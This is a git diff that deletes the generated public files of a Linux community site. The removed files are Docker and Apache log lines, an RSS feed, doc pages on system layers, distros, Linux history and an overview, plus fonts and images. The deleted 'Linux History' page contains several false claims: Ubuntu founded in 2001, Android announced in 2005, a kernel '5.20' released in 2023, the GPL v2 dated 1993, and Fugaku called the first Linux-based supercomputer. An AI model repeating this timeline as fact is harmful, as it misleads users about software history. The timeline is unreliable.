- => => sha256:119f7607f913c50661a95311027b7b944c7bf2ee9e7af5361a14b72ce4d36b34 247B / 247B                                                             0.3s
- => => sha256:c5ff78edaefc7917757ec4e434738d5561d016bedd20ebdeeee362ec53c8d200 2.27kB / 2.27kB                                                         0.6s
- => => sha256:1c04bb0b5fbe7c2927e6282625ccf4c5e0399e9da46f4a84bb8072dc98add6e5 214B / 214B                                                             0.5s
- => => sha256:709f68bc1d50527b9d9de50c516cb337468feb59c6135b414dda628d902a1bc8 13.52MB / 13.52MB                                                       3.2s
- => => sha256:9e92e56de9f5b0243dc28d80127f51f9f773d64ce4ae1ad58cfff06c2dcd4c29 494B / 494B                                                             0.8s
- => => sha256:485201b000c7ca5a73c2f9d047a204442ea5871a8a1405809d623884d83afc05 12.65MB / 12.65MB                                                       0.9s
- => => sha256:28135fd83ed1ac66e6f4288fabe4c84616cfe420e8e6808ba92d052771325ab4 517B / 517B                                                             0.5s
- => => sha256:5543a36f8eed548f436944bf39a2e918115fc9b30b54416c1081566f25716010 475B / 475B                                                             0.6s
- => => sha256:8d436d7bb0262f042a9554b5c54b25bc1d19cabbb9435747672c34d12f8dc1d0 18.58MB / 18.58MB                                                       1.5s
- => => sha256:c17a0a78e91d3ac0ec4a0c0566f57580154ead8d8967258efe94989d86cd05bd 269B / 269B                                                             1.4s
- => => sha256:30eb7a300f132babe7d5ed65f9e81a1fdd4542ecf70ac29a91bc290484dbc5e5 70.34MB / 70.34MB                                                       3.2s
- => => sha256:c9648d7fcbb6d597cf33916d8fcd207fde8ec05d764b4480d4f3e884e142a902 25.86MB / 25.86MB                                                       3.1s
- => => sha256:f88cecc04e76783f0006b9fed72be749e834825383e941e16de2565a0e4a8cc3 229B / 229B                                                             0.5s
- => => extracting sha256:c9648d7fcbb6d597cf33916d8fcd207fde8ec05d764b4480d4f3e884e142a902                                                              0.6s
- => => extracting sha256:f88cecc04e76783f0006b9fed72be749e834825383e941e16de2565a0e4a8cc3                                                              0.0s
- => => extracting sha256:30eb7a300f132babe7d5ed65f9e81a1fdd4542ecf70ac29a91bc290484dbc5e5                                                              1.2s
- => => extracting sha256:c17a0a78e91d3ac0ec4a0c0566f57580154ead8d8967258efe94989d86cd05bd                                                              0.0s
- => => extracting sha256:8d436d7bb0262f042a9554b5c54b25bc1d19cabbb9435747672c34d12f8dc1d0                                                              0.2s
- => => extracting sha256:5543a36f8eed548f436944bf39a2e918115fc9b30b54416c1081566f25716010                                                              0.0s
- => => extracting sha256:28135fd83ed1ac66e6f4288fabe4c84616cfe420e8e6808ba92d052771325ab4                                                              0.0s
- => => extracting sha256:485201b000c7ca5a73c2f9d047a204442ea5871a8a1405809d623884d83afc05                                                              0.1s
- => => extracting sha256:9e92e56de9f5b0243dc28d80127f51f9f773d64ce4ae1ad58cfff06c2dcd4c29                                                              0.0s
- => => extracting sha256:709f68bc1d50527b9d9de50c516cb337468feb59c6135b414dda628d902a1bc8                                                              0.2s
- => => extracting sha256:c5ff78edaefc7917757ec4e434738d5561d016bedd20ebdeeee362ec53c8d200                                                              0.0s
- => => extracting sha256:119f7607f913c50661a95311027b7b944c7bf2ee9e7af5361a14b72ce4d36b34                                                              0.0s
- => => extracting sha256:1c04bb0b5fbe7c2927e6282625ccf4c5e0399e9da46f4a84bb8072dc98add6e5                                                              0.0s
- => => extracting sha256:9639d8c8cc76eb6501b4135a054c1a85bd7397db1010d043bcc03d32bf6d79b6                                                              0.0s
- => [2/2] COPY index.php /var/www/html                                                                                                                 0.3s
- => exporting to docker image format                                                                                                                   4.3s
- => => exporting layers                                                                                                                                0.0s
- => => exporting manifest sha256:4389df930ccac33c104717e827e5a6dc3de4ef60632784ca9ea76806b1bf88b7                                                      0.0s
- => => exporting config sha256:bcbc4a7a409f828a025ca857acb752536f4cece24a93121e6a920e0c4d60050f                                                        0.0s
- => => sending tarball                                                                                                                                 4.2s
- => importing to docker                                                                                                                                2.7s
-[+] Running 2/2
- ⠿ Network 1-dc_default     Created                                                                                                                    0.1s
- ⠿ Container 1-dc-phpapp-1  Created                                                                                                                    0.3s
-Attaching to 1-dc-phpapp-1
-1-dc-phpapp-1  | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.2. Set the 'ServerName' directive globally to suppress this message
-1-dc-phpapp-1  | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.2. Set the 'ServerName' directive globally to suppress this message
-1-dc-phpapp-1  | [Fri Mar 03 00:44:20.034230 2023] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.38 (Debian) PHP/7.2.34 configured -- resuming normal operations
-1-dc-phpapp-1  | [Fri Mar 03 00:44:20.034331 2023] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND'
-1-dc-phpapp-1  | 172.18.0.1 - - [03/Mar/2023:00:44:54 +0000] "GET / HTTP/1.1" 200 244 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15"
-1-dc-phpapp-1  | 172.18.0.1 - - [03/Mar/2023:00:44:54 +0000] "GET /favicon.ico HTTP/1.1" 404 489 "http://localhost:8080/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15"
-1-dc-phpapp-1  | 172.18.0.1 - - [03/Mar/2023:00:45:02 +0000] "GET / HTTP/1.1" 200 244 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15"
-¸
-

open browser

-
http://localhost:8080
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docs/index.html b/public/docs/index.html deleted file mode 100644 index f2f6eb0..0000000 --- a/public/docs/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - https://linuxcollective.github.io/docs/overview/ - - - - - - diff --git a/public/docs/index.xml b/public/docs/index.xml deleted file mode 100644 index 28cbb0c..0000000 --- a/public/docs/index.xml +++ /dev/null @@ -1,52 +0,0 @@ - - - - Docs on Linux Collective - https://linuxcollective.github.io/docs/ - Recent content in Docs on Linux Collective - Hugo -- gohugo.io - en - - level & Layer abstraction - https://linuxcollective.github.io/docs/level-layer-abstraction/ - Mon, 01 Jan 0001 00:00:00 +0000 - - https://linuxcollective.github.io/docs/level-layer-abstraction/ - Using abstraction to split computing systems into components makes things easier to understand, but it doesn’t work without organization. -We arrange components into layers or levels, classifications (or groupings) of components according to where the components sit between the user and the hardware. Web browsers, games, and such sit at the top layer; at the bottom layer we have the memory in the computer hardware—the 0s and 1s. The operating system occupies many of the layers in between. - - - - Linux Distros - https://linuxcollective.github.io/docs/linux-distros/ - Mon, 01 Jan 0001 00:00:00 +0000 - - https://linuxcollective.github.io/docs/linux-distros/ - Linux Distributions or Distros are operating systems with different software packages built on the Linux kernel. There are hundreds of distros built to serve one or more needs of its user. This diversity is what makes Linux the perfect tinkerer operating system. -Common Linux Distributions Ubuntu - A user-friendly and widely-adopted distribution backed by Canonical. Fedora - Red Hat&rsquo;s community-driven distribution, known for cutting-edge features. Debian - A universal operating system and the base for many other distributions. - - - - Linux History - https://linuxcollective.github.io/docs/linux-history/ - Mon, 01 Jan 0001 00:00:00 +0000 - - https://linuxcollective.github.io/docs/linux-history/ - here&rsquo;s a summarized overview of the history of Linux broken down by years: -1991: Linus Torvalds, a Finnish student, releases the first version of the Linux kernel (0.01) as an open-source project. This marks the beginning of the Linux operating system. -1992: The second version of the Linux kernel (0.12) is released, and the first Linux-related newsgroup is created. The concept of &ldquo;Linux distributions&rdquo; starts to emerge as various individuals and groups package the kernel with different software packages. - - - - Overview - https://linuxcollective.github.io/docs/overview/ - Mon, 01 Jan 0001 00:00:00 +0000 - - https://linuxcollective.github.io/docs/overview/ - Welcome To linux collective -What is Linux Collective? Linux Collective is a community of Linux users, developers, and enthusiasts. We are a group of people who love Linux and want to help others use it better. We provide support for Linux users, developers, and enthusiasts. We also provide resources for people who want to learn more about Linux or get involved with the community. -What is Linux? Linux is an operating system that was created by Linus Torvalds in 1991. - - - - diff --git a/public/docs/level-layer-abstraction/index.html b/public/docs/level-layer-abstraction/index.html deleted file mode 100644 index a58f902..0000000 --- a/public/docs/level-layer-abstraction/index.html +++ /dev/null @@ -1,276 +0,0 @@ - - - - - - - - -level & Layer abstraction · Linux Collective - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

level & Layer abstraction

-
-
- - -
    -
  • -

    Using abstraction to split computing systems into components makes things easier to understand, but it doesn’t work without organization.

    -
  • -
  • -

    We arrange components into layers or levels, classifications (or groupings) of components according to where the components sit between the user and the hardware. Web browsers, games, and such sit at the top layer; at the bottom layer we have the memory in the computer hardware—the 0s and 1s. The operating system occupies many of the layers in between. A Linux system has three main levels.

    -
  • -
-

-

shows these levels and some of the components inside each level. The hardware is at the base. Hardware includes the memory as well as one or more central processing units (CPUs) to perform computation and to read from and write to memory. Devices such as disks and network interfaces are also part of the hardware. The next level up is the kernel, which is the core of the operating system. The kernel is software residing in memory that tells the CPU where to look for its next task. Acting as a mediator, the kernel manages the hardware (especially main memory) and is the primary interface between the hardware and any running program. Processes—the running programs that the kernel manages—collectively make up the system’s upper level, called user space. (A more specific term for process is user process, regardless of whether a user directly interacts with the process. For example, all web servers run as user processes.)

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - -
-
- -
-
- - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docs/linux-distros/index.html b/public/docs/linux-distros/index.html deleted file mode 100644 index d3563f8..0000000 --- a/public/docs/linux-distros/index.html +++ /dev/null @@ -1,330 +0,0 @@ - - - - - - - - -Linux Distros · Linux Collective - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Linux Distros

-
-
- - -
-

Linux Distributions or Distros are operating systems with different software packages built on the Linux kernel. There are hundreds of distros built to serve one or more needs of its user. This diversity is what makes Linux the perfect tinkerer operating system.

-
-

Common Linux Distributions

-
    -
  • Ubuntu - A user-friendly and widely-adopted distribution backed by Canonical.
  • -
  • Fedora - Red Hat’s community-driven distribution, known for cutting-edge features.
  • -
  • Debian - A universal operating system and the base for many other distributions.
  • -
  • openSUSE - Offers both stable (Leap) and rolling release (Tumbleweed) versions.
  • -
  • Red Hat Enterprise Linux (RHEL) - Commercially-backed and enterprise-focused.
  • -
  • Arch Linux - A rolling-release system aimed at experienced users.
  • -
  • Pop!_OS - By System76, optimized for gaming and professional use.
  • -
  • Manjaro - Arch based with a huge community.
  • -
  • ArcoLinux - Arch based distro aimed at beginners.
  • -
-

Privacy Focused

-
    -
  • Tails - A live OS designed for anonymity and leaving no trace.
  • -
  • Whonix - An OS focused on anonymity, privacy, and security.
  • -
  • Qubes OS - Uses compartmentalization to provide security and privacy.
  • -
-

Hacking (Penetration Testing)

-
    -
  • Kali Linux - A distribution for penetration testing and ethical hacking.
  • -
  • Parrot Security OS - Designed for penetration testing, forensics, and privacy.
  • -
  • BlackArch Linux - An Arch Linux-based distribution for penetration testers.
  • -
-

Hobbyist

-
    -
  • Gentoo - A source-based distribution offering high configurability.
  • -
  • Slackware - One of the oldest distributions, known for simplicity.
  • -
  • LFS (Linux From Scratch) - A project that provides steps to build a custom Linux system.
  • -
-

Gaming

-
    -
  • SteamOS - A Debian-based OS developed by Valve for the Steam Machine gaming hardware.
  • -
-

Security Focused

- -

Specialist

-
    -
  • Raspbian - Designed for the Raspberry Pi single-board computer.
  • -
  • Clear Linux - Developed by Intel, optimized for performance and cloud use-cases.
  • -
  • Tiny Core Linux - A minimalistic distribution known for its tiny size.
  • -
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docs/linux-history/index.html b/public/docs/linux-history/index.html deleted file mode 100644 index f7c5e03..0000000 --- a/public/docs/linux-history/index.html +++ /dev/null @@ -1,330 +0,0 @@ - - - - - - - - -Linux History · Linux Collective - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Linux History

-
-
- - - -
- -
- -

here’s a summarized overview of the history of Linux broken down by years:

-
-

1991: Linus Torvalds, a Finnish student, releases the first version of the Linux kernel (0.01) as an open-source project. This marks the beginning of the Linux operating system.

-
-
-

1992: The second version of the Linux kernel (0.12) is released, and the first Linux-related newsgroup is created. The concept of “Linux distributions” starts to emerge as various individuals and groups package the kernel with different software packages.

-
-
-

1993: The Free Software Foundation releases the GNU General Public License (GPL) version 2, which becomes the license under which the Linux kernel is distributed.

-
-
-

1994: The Linux Documentation Project is founded, aiming to provide comprehensive user guides and manuals for Linux users.

-
-
-

1995: Red Hat, one of the first commercial Linux distributions, is founded. The Linux 1.2 kernel is released with support for more hardware.

-
-
-

1996: Core components of the Linux operating system, such as the GNU C Library (glibc) and the X Window System, continue to improve. Linux starts to gain popularity in academic and enterprise environments.

-
-
-

1997: The 2.0 version of the Linux kernel is released, bringing significant improvements in stability, scalability, and support for a wider range of hardware.

-
-
-

1998: The term “open source” is coined, moving away from the term “free software” to emphasize the practical benefits of open development. Major companies like IBM start supporting Linux.

-
-
-

1999: The Linux 2.2 kernel is released with further improvements, and efforts are made to enhance Linux’s performance on high-end servers.

-
-
-

2000: The Linux 2.4 kernel is released, featuring better SMP (Symmetric Multiprocessing) support and advanced features for servers. Linux continues to gain traction in server environments.

-
-
-

2001: The UnitedLinux initiative is launched, aiming to create a standardized Linux distribution for the enterprise. Ubuntu, a popular desktop Linux distribution, is founded.

-
-
-

2003: The Linux 2.6 kernel is released, introducing major advancements such as improved scalability, support for new architectures, and enhanced performance.

-
-
-

2005: Google announces Android, an open-source mobile operating system based on the Linux kernel. This marks Linux’s entry into the mobile space.

-
-
-

2011: Linux reaches its 20th anniversary, and its development continues to accelerate. The Linux 3.0 kernel is released, with version numbering changed for clarity.

-
-
-

2015: Linux celebrates the release of the 4.0 kernel, bringing new features and enhancements across various areas.

-
-
-

2020: The Linux kernel 5.4 was released, with many new features and improvements.the Linux Foundation launched the LF AI & Data initiative to promote the development of artificial intelligence and machine learning on Linux. The number of Linux users worldwide surpassed 2 billion.

-
-
-

2021 : The Linux kernel 5.10 was released, with further improvements to performance and security. The Linux Foundation launched the LF Edge initiative to promote the development of edge computing on Linux. The first Linux-based supercomputer, Fugaku, was ranked as the fastest supercomputer in the world.

-
-
-

2022 : The Linux kernel 5.15 was released, with even more new features and improvements.The Linux Foundation launched the LF Networking initiative to promote the development of networking technologies on Linux.vThe number of Linux servers worldwide surpassed 500 million.

-
-
-

2023 : The Linux kernel 5.20 was released, with even more new features and improvements.The Linux Foundation launched the LF Energy initiative to promote the development of energy technologies on Linux.

-
- -
- -
- -

BOOK - Just For Fun by LINUS TORVALDS Creator of LINUX and DAVID DIAMOND

-

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/docs/overview/index.html b/public/docs/overview/index.html deleted file mode 100644 index af04ab3..0000000 --- a/public/docs/overview/index.html +++ /dev/null @@ -1,265 +0,0 @@ - - - - - - - - -Overview · Linux Collective - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Overview

-
-
- - -

Welcome To linux collective

-

What is Linux Collective?

-

Linux Collective is a community of Linux users, developers, and enthusiasts. We are a group of people who love Linux and want to help others use it better. We provide support for Linux users, developers, and enthusiasts. We also provide resources for people who want to learn more about Linux or get involved with the community.

-

What is Linux?

-

Linux is an operating system that was created by Linus Torvalds in 1991. It’s a free and open-source operating system that can be used on computers, servers, and mobile devices. Linux is used by millions of people around the world every day.

-

Why should I use Linux?

-

Linux is a free and open-source operating system that can be used on computers, servers, and mobile devices. It’s used by millions of people around the world every day. Linux is also more secure than other operating systems because it’s open-source, which means anyone can look at the code and find bugs or security vulnerabilities.

-

How do I get started with Linux?

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/font/Inter-Italic.woff b/public/font/Inter-Italic.woff deleted file mode 100644 index a806b38..0000000 Binary files a/public/font/Inter-Italic.woff and /dev/null differ diff --git a/public/font/Inter-Italic.woff2 b/public/font/Inter-Italic.woff2 deleted file mode 100644 index a619fc5..0000000 Binary files a/public/font/Inter-Italic.woff2 and /dev/null differ diff --git a/public/font/Inter-Regular.woff b/public/font/Inter-Regular.woff deleted file mode 100644 index 62d3a61..0000000 Binary files a/public/font/Inter-Regular.woff and /dev/null differ diff --git a/public/font/Inter-Regular.woff2 b/public/font/Inter-Regular.woff2 deleted file mode 100644 index 6c2b689..0000000 Binary files a/public/font/Inter-Regular.woff2 and /dev/null differ diff --git a/public/font/Inter-SemiBold.woff b/public/font/Inter-SemiBold.woff deleted file mode 100644 index a815f43..0000000 Binary files a/public/font/Inter-SemiBold.woff and /dev/null differ diff --git a/public/font/Inter-SemiBold.woff2 b/public/font/Inter-SemiBold.woff2 deleted file mode 100644 index 611e90c..0000000 Binary files a/public/font/Inter-SemiBold.woff2 and /dev/null differ diff --git a/public/img/.DS_Store b/public/img/.DS_Store deleted file mode 100644 index deec17f..0000000 Binary files a/public/img/.DS_Store and /dev/null differ diff --git a/public/img/icon/3.png b/public/img/icon/3.png deleted file mode 100644 index c0546dd..0000000 Binary files a/public/img/icon/3.png and /dev/null differ diff --git a/public/img/icon/Cloudnativefolks-Community-Logo-D7.png b/public/img/icon/Cloudnativefolks-Community-Logo-D7.png deleted file mode 100644 index b1cc5ab..0000000 Binary files a/public/img/icon/Cloudnativefolks-Community-Logo-D7.png and /dev/null differ diff --git a/public/img/icon/Linux Collective-2.png b/public/img/icon/Linux Collective-2.png deleted file mode 100644 index 0ce9256..0000000 Binary files a/public/img/icon/Linux Collective-2.png and /dev/null differ diff --git a/public/img/icon/Linux Collective.png b/public/img/icon/Linux Collective.png deleted file mode 100644 index 4686f82..0000000 Binary files a/public/img/icon/Linux Collective.png and /dev/null differ diff --git a/public/img/icon/button.png b/public/img/icon/button.png deleted file mode 100644 index 8fd958b..0000000 Binary files a/public/img/icon/button.png and /dev/null differ diff --git a/public/img/icon/favicon.ico b/public/img/icon/favicon.ico deleted file mode 100644 index 4f47bdc..0000000 Binary files a/public/img/icon/favicon.ico and /dev/null differ diff --git a/public/img/icon/icon-16.png b/public/img/icon/icon-16.png deleted file mode 100644 index c55011a..0000000 Binary files a/public/img/icon/icon-16.png and /dev/null differ diff --git a/public/img/icon/icon-180.png b/public/img/icon/icon-180.png deleted file mode 100644 index 694fd85..0000000 Binary files a/public/img/icon/icon-180.png and /dev/null differ diff --git a/public/img/icon/icon-192.png b/public/img/icon/icon-192.png deleted file mode 100644 index a47b1d8..0000000 Binary files a/public/img/icon/icon-192.png and /dev/null differ diff --git a/public/img/icon/icon-32.png b/public/img/icon/icon-32.png deleted file mode 100644 index afaee33..0000000 Binary files a/public/img/icon/icon-32.png and /dev/null differ diff --git a/public/img/icon/icon-512.png b/public/img/icon/icon-512.png deleted file mode 100644 index d69620b..0000000 Binary files a/public/img/icon/icon-512.png and /dev/null differ diff --git a/public/img/icon/icon-vector.svg b/public/img/icon/icon-vector.svg deleted file mode 100644 index fc8a34c..0000000 --- a/public/img/icon/icon-vector.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/public/img/icon/level-Layers-Abstraction.png b/public/img/icon/level-Layers-Abstraction.png deleted file mode 100644 index 7c18108..0000000 Binary files a/public/img/icon/level-Layers-Abstraction.png and /dev/null differ diff --git a/public/img/icon/linux-components.png b/public/img/icon/linux-components.png deleted file mode 100644 index 250a5c8..0000000 Binary files a/public/img/icon/linux-components.png and /dev/null differ diff --git a/public/img/icon/linux-subsystem.png b/public/img/icon/linux-subsystem.png deleted file mode 100644 index 0aabc18..0000000 Binary files a/public/img/icon/linux-subsystem.png and /dev/null differ diff --git a/public/img/icon/linux-subsytem.png b/public/img/icon/linux-subsytem.png deleted file mode 100644 index 0114619..0000000 Binary files a/public/img/icon/linux-subsytem.png and /dev/null differ diff --git a/public/img/icon/maskable-icon-192.png b/public/img/icon/maskable-icon-192.png deleted file mode 100644 index c9f099c..0000000 Binary files a/public/img/icon/maskable-icon-192.png and /dev/null differ diff --git a/public/img/icon/maskable-icon-512.png b/public/img/icon/maskable-icon-512.png deleted file mode 100644 index 281dae9..0000000 Binary files a/public/img/icon/maskable-icon-512.png and /dev/null differ diff --git a/public/img/icon/mono-micro-os.png b/public/img/icon/mono-micro-os.png deleted file mode 100644 index 20a2019..0000000 Binary files a/public/img/icon/mono-micro-os.png and /dev/null differ diff --git a/public/img/logos/1.png b/public/img/logos/1.png deleted file mode 100644 index f183e74..0000000 Binary files a/public/img/logos/1.png and /dev/null differ diff --git a/public/img/logos/2.png b/public/img/logos/2.png deleted file mode 100644 index e004829..0000000 Binary files a/public/img/logos/2.png and /dev/null differ diff --git a/public/img/logos/3.png b/public/img/logos/3.png deleted file mode 100644 index ff0b3b4..0000000 Binary files a/public/img/logos/3.png and /dev/null differ diff --git a/public/img/logos/Cloudnativefolks-Community-Logo-D5.png b/public/img/logos/Cloudnativefolks-Community-Logo-D5.png deleted file mode 100644 index 592f59b..0000000 Binary files a/public/img/logos/Cloudnativefolks-Community-Logo-D5.png and /dev/null differ diff --git a/public/img/logos/Cloudnativefolks-Community-Logo-D7 2.png b/public/img/logos/Cloudnativefolks-Community-Logo-D7 2.png deleted file mode 100644 index b1cc5ab..0000000 Binary files a/public/img/logos/Cloudnativefolks-Community-Logo-D7 2.png and /dev/null differ diff --git a/public/img/logos/Cloudnativefolks-Community-Logo-D7.png b/public/img/logos/Cloudnativefolks-Community-Logo-D7.png deleted file mode 100644 index b1cc5ab..0000000 Binary files a/public/img/logos/Cloudnativefolks-Community-Logo-D7.png and /dev/null differ diff --git a/public/img/logos/Cloudnativefolks-Community-Logo.png b/public/img/logos/Cloudnativefolks-Community-Logo.png deleted file mode 100644 index 6419724..0000000 Binary files a/public/img/logos/Cloudnativefolks-Community-Logo.png and /dev/null differ diff --git a/public/img/logos/KubeDaily-1.png b/public/img/logos/KubeDaily-1.png deleted file mode 100755 index 6248ccb..0000000 Binary files a/public/img/logos/KubeDaily-1.png and /dev/null differ diff --git a/public/img/logos/KubeDaily-2.png b/public/img/logos/KubeDaily-2.png deleted file mode 100755 index 202179b..0000000 Binary files a/public/img/logos/KubeDaily-2.png and /dev/null differ diff --git a/public/img/logos/KubeDaily-3.png b/public/img/logos/KubeDaily-3.png deleted file mode 100755 index 1abdada..0000000 Binary files a/public/img/logos/KubeDaily-3.png and /dev/null differ diff --git a/public/img/logos/KubeDaily-4.png b/public/img/logos/KubeDaily-4.png deleted file mode 100755 index 032a3a8..0000000 Binary files a/public/img/logos/KubeDaily-4.png and /dev/null differ diff --git a/public/img/logos/KubeDaily.jpg b/public/img/logos/KubeDaily.jpg deleted file mode 100755 index ef716e4..0000000 Binary files a/public/img/logos/KubeDaily.jpg and /dev/null differ diff --git a/public/img/logos/Profile Pic.png b/public/img/logos/Profile Pic.png deleted file mode 100644 index 81b5781..0000000 Binary files a/public/img/logos/Profile Pic.png and /dev/null differ diff --git a/public/img/logos/kubernetes-icon-color.svg b/public/img/logos/kubernetes-icon-color.svg deleted file mode 100644 index 3d0e49b..0000000 --- a/public/img/logos/kubernetes-icon-color.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/public/img/logos/profile-pic-2.png b/public/img/logos/profile-pic-2.png deleted file mode 100644 index b8bc081..0000000 Binary files a/public/img/logos/profile-pic-2.png and /dev/null differ diff --git a/public/img/logos/profile-pic-3.png b/public/img/logos/profile-pic-3.png deleted file mode 100644 index e799fe8..0000000 Binary files a/public/img/logos/profile-pic-3.png and /dev/null differ diff --git a/public/img/logos/profile-pic-4.png b/public/img/logos/profile-pic-4.png deleted file mode 100644 index e735671..0000000 Binary files a/public/img/logos/profile-pic-4.png and /dev/null differ diff --git a/public/img/logos/profile-pic.png b/public/img/logos/profile-pic.png deleted file mode 100644 index 44e847d..0000000 Binary files a/public/img/logos/profile-pic.png and /dev/null differ diff --git a/public/img/slider/20230528_113027.jpg b/public/img/slider/20230528_113027.jpg deleted file mode 100644 index c12e2a8..0000000 Binary files a/public/img/slider/20230528_113027.jpg and /dev/null differ diff --git a/public/img/slider/CNCF-Thane.jpg b/public/img/slider/CNCF-Thane.jpg deleted file mode 100644 index 0454247..0000000 Binary files a/public/img/slider/CNCF-Thane.jpg and /dev/null differ diff --git a/public/img/slider/CSA-Banglore-2023.jpg b/public/img/slider/CSA-Banglore-2023.jpg deleted file mode 100644 index 05ac02a..0000000 Binary files a/public/img/slider/CSA-Banglore-2023.jpg and /dev/null differ diff --git a/public/img/slider/Citrix-R&D.jpg b/public/img/slider/Citrix-R&D.jpg deleted file mode 100644 index 6f4739f..0000000 Binary files a/public/img/slider/Citrix-R&D.jpg and /dev/null differ diff --git a/public/img/slider/DellEMC.jpg b/public/img/slider/DellEMC.jpg deleted file mode 100644 index f0beca3..0000000 Binary files a/public/img/slider/DellEMC.jpg and /dev/null differ diff --git a/public/img/slider/DevRel-Docker_2016.jpg b/public/img/slider/DevRel-Docker_2016.jpg deleted file mode 100644 index 81d9e8d..0000000 Binary files a/public/img/slider/DevRel-Docker_2016.jpg and /dev/null differ diff --git a/public/img/slider/Docker-9th-birthday.JPG b/public/img/slider/Docker-9th-birthday.JPG deleted file mode 100644 index f2d9db1..0000000 Binary files a/public/img/slider/Docker-9th-birthday.JPG and /dev/null differ diff --git a/public/img/slider/Docker-Extension.JPG b/public/img/slider/Docker-Extension.JPG deleted file mode 100644 index e7b0f85..0000000 Binary files a/public/img/slider/Docker-Extension.JPG and /dev/null differ diff --git a/public/img/slider/Docker-Pune-2018.jpg b/public/img/slider/Docker-Pune-2018.jpg deleted file mode 100644 index 9d535fb..0000000 Binary files a/public/img/slider/Docker-Pune-2018.jpg and /dev/null differ diff --git a/public/img/slider/Docker-Pune-2023.jpg b/public/img/slider/Docker-Pune-2023.jpg deleted file mode 100644 index 65dfba5..0000000 Binary files a/public/img/slider/Docker-Pune-2023.jpg and /dev/null differ diff --git a/public/img/slider/GPS-Docker.jpg b/public/img/slider/GPS-Docker.jpg deleted file mode 100644 index 74af107..0000000 Binary files a/public/img/slider/GPS-Docker.jpg and /dev/null differ diff --git a/public/img/slider/IMG-20180428-WA0003-2.jpg b/public/img/slider/IMG-20180428-WA0003-2.jpg deleted file mode 100644 index 43f70ae..0000000 Binary files a/public/img/slider/IMG-20180428-WA0003-2.jpg and /dev/null differ diff --git a/public/img/slider/IMG-20200529-WA0005.jpg b/public/img/slider/IMG-20200529-WA0005.jpg deleted file mode 100644 index 89ced84..0000000 Binary files a/public/img/slider/IMG-20200529-WA0005.jpg and /dev/null differ diff --git a/public/img/slider/IMG_7612.JPG b/public/img/slider/IMG_7612.JPG deleted file mode 100644 index dec2293..0000000 Binary files a/public/img/slider/IMG_7612.JPG and /dev/null differ diff --git a/public/img/slider/JFROG_K8s.jpg b/public/img/slider/JFROG_K8s.jpg deleted file mode 100644 index ef57e3d..0000000 Binary files a/public/img/slider/JFROG_K8s.jpg and /dev/null differ diff --git a/public/img/slider/Jfrog.jpg b/public/img/slider/Jfrog.jpg deleted file mode 100644 index cb08156..0000000 Binary files a/public/img/slider/Jfrog.jpg and /dev/null differ diff --git a/public/img/slider/KL_University.JPG b/public/img/slider/KL_University.JPG deleted file mode 100644 index a9118e9..0000000 Binary files a/public/img/slider/KL_University.JPG and /dev/null differ diff --git a/public/img/slider/Rakuten.JPG b/public/img/slider/Rakuten.JPG deleted file mode 100644 index 718c5e6..0000000 Binary files a/public/img/slider/Rakuten.JPG and /dev/null differ diff --git a/public/img/slider/Rancher.jpg b/public/img/slider/Rancher.jpg deleted file mode 100644 index fd933f6..0000000 Binary files a/public/img/slider/Rancher.jpg and /dev/null differ diff --git a/public/img/slider/SAPLAB1.jpg b/public/img/slider/SAPLAB1.jpg deleted file mode 100644 index 0f64c80..0000000 Binary files a/public/img/slider/SAPLAB1.jpg and /dev/null differ diff --git a/public/img/slider/SAPLAB2020-team.jpg b/public/img/slider/SAPLAB2020-team.jpg deleted file mode 100644 index bb5dffd..0000000 Binary files a/public/img/slider/SAPLAB2020-team.jpg and /dev/null differ diff --git a/public/img/slider/SAP_LAB_AWARD.jpg b/public/img/slider/SAP_LAB_AWARD.jpg deleted file mode 100644 index 7a3470a..0000000 Binary files a/public/img/slider/SAP_LAB_AWARD.jpg and /dev/null differ diff --git a/public/img/slider/SAP_LAB_KO_google.jpg b/public/img/slider/SAP_LAB_KO_google.jpg deleted file mode 100644 index 55ccff8..0000000 Binary files a/public/img/slider/SAP_LAB_KO_google.jpg and /dev/null differ diff --git a/public/img/slider/VISA.jpg b/public/img/slider/VISA.jpg deleted file mode 100644 index 005dc8a..0000000 Binary files a/public/img/slider/VISA.jpg and /dev/null differ diff --git a/public/img/slider/brainanalaytics.jpg 